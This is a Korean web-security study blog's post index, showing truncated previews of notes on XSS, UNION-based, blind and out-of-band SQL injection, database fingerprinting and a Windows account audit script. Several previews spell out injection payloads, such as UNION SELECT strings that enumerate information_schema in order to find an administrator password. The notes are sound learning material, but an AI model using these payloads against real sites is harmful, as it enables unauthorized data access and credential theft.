본문 바로가기

보안

(28)
[WAB 보안] XSS(Cross Site Scripting) 취약점 ※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다. [ XSS (Cross Site Scripting) ] 1. 공격 원리 - 사용자로부터 입력된 정보를 검증하지 않는 경우 공격자가 악성 Script입력 - 서버를 공격하는 것이 아닌 서버를 경유하여 클라이언트를 공격 - Cookie Access - DOM Access - Clipboard Access - Key logging 2. 공격 유형 1) Stored XSS - 악성스크립트를 취약한 웹서버에 저장 ( 웹게시판 , 방명록 ) - 해당 게시물 열람한 사람이 Victim - 악성코..
[WEB 보안] SQL 연결연산자로 DB 확인 Oracle : 'foo'||'bar' Microsoft : 'foo'+'bar' PostgreSQL : 'foo'||'bar' Mysql : 'foo'%20'bar' (공백 두 문자열사이 공백) CONCAT('foo','bar')
[WEB 보안] SQL Injection-UNION Attack_2 ※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다. 1. 목적 : SQL 이외의 데이터베이스에 대한 데이터베이스 내용을 나열하는 SQL Injection 공격 2. 방법 : 1) 관리자의 비밀번호 찾기 (1) '+UNION+SELECT+NULL,NULL-- ​ (2) '+UNION+SELECT+'abc','def'-- ​ (3) '+UNION+SELECT+table.name,+NULL+FROM+information_schema.tables-- ​ (4) '+UNION+SELECT+column_name,+NULL+FROM+informa..
[WEB 보안] SQL Injection-UNION Attack_1 ※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다. 1. 목표 : 다른 데이터베이스 테이블에서 데이터 검색 2. 방법 : 1) 에러가 발생하지 않을 때까지 NULL을 증가하여 컬럼 갯수 확인 (1) '+UNION+SELECT+NULL-- (2) '+UNION+SELECT+NULL,NULL-- ... ​ 2) NULL 열에서 'a'가 들어가도 에러가 발생하지 않은 곳 찾기 (1) '+UNION+SELECT+'a',NULL,NULL-- (2) '+UNION+SELECT+NULL,'a',NULL-- (3) '+UNION+SELECT+NUL..
[WEB 보안] SQL Injection 취약점_기타 ※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다. 1. 대역외(OAST) 기술을 사용하여 블라인드 SQL Injection 확용 : SQL 조회를 수행하지만 비동기적으로 수행, 사용자가 제어하는 시스템에 대한 대역 외 네트워크 상호 작용을 트리거하여 블라인드 SQL 주입 취약점을 악용 할 수 있다. 다양한 네트워크 프로토콜 사용, 그중에서 일반적으로 DNS(Domain Name Service)가 가장 효과적, DNS 쿼리를 트리거하는 기술을 사용중인 데이터베이스 유형에 따라 매우 다름. ​ 1) Microsoft SQL Server..
[WEB 보안] Blind SQL Injection 취약점_2 ※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다. 1. 목적 : 시간 지연을 트리거하여 Blind SQL Injection 활용 2. 설명 : 삽입된 SQL 구문이 실행될 때 데이터베이스 오류를 트리거해도 더이상 응용프로그램의 응답에 차이가 발생하지 않으므로 조건부 오류를 유발하는 선행 기술이 작동하지 않을 때 시간 지연을 트리거하여 블라인드 SQL Injection 취약점을 악용 할 수 있다. ​ 1) Microsoft SQL Server에서 다음과 같은 입력을 사용하여 조건을 테스트하고 표현식이 True 인지에 따라 지연을 트리..
[윈도우 보안] 1. 계정관리 > 1.1 Administrator 계정 이름 바꾸기 진단 방법 1. 계정관리 > 1.1 Administrator 계정 이름 바꾸기 KISA의 “2017 주요정보통신기반시설 기술적 취약점 분석, 평가 방법 상세가이드”의 내용을 참조. 테스트 OS : Windows Server 2012 R2 1) 수동 진단 방법 : CMD에서 명령어 net user administrator 입력 후 활성 계정 여부 확인 “예”이면 취약 “아니요”면 양호 2) 진단 스크립트 소스 @ECHO OFF ECHO ■ 기준 ECHO 양호 : Administrator Default 계정 이름을 변경한 경우 ECHO 취약 : Administrator Default 계정 이름을 변경하지 않은 경우 ECHO. ECHO ■ 현황 net user administrator > NUL IF NOT ERRORL..
[WEB 보안] 데이터베이스 버전 확인 : SQL Injection 취약점을 처음 식별 한 후에는 일반적으로 데이터베이스 자체에 대한 정보를 얻는것이 유용 ​ 1) 데이터베이스 유형 및 버전 조회 Database Type Query Microsoft, MySQL SELECT @@version Oracle SELECT * FROM v$version Postgre SQL SELECT version() ex) ' UNION SELECT @@version-- ​ 2) 쿼리에서 반환되는 열 수와 열을 텍스트 데이터를 포함, 쿼리가 카테고리 매개 변수에서 다음과 같은 페이로드를 사용하여 두개의 텍스트를 포함하는 두개의 열을 리턴하는지 확인(DB 종류 : Oracle) '+UNION+SELECT+'abc','def'+FROM+DUAL-- ​ 3) 다음 페..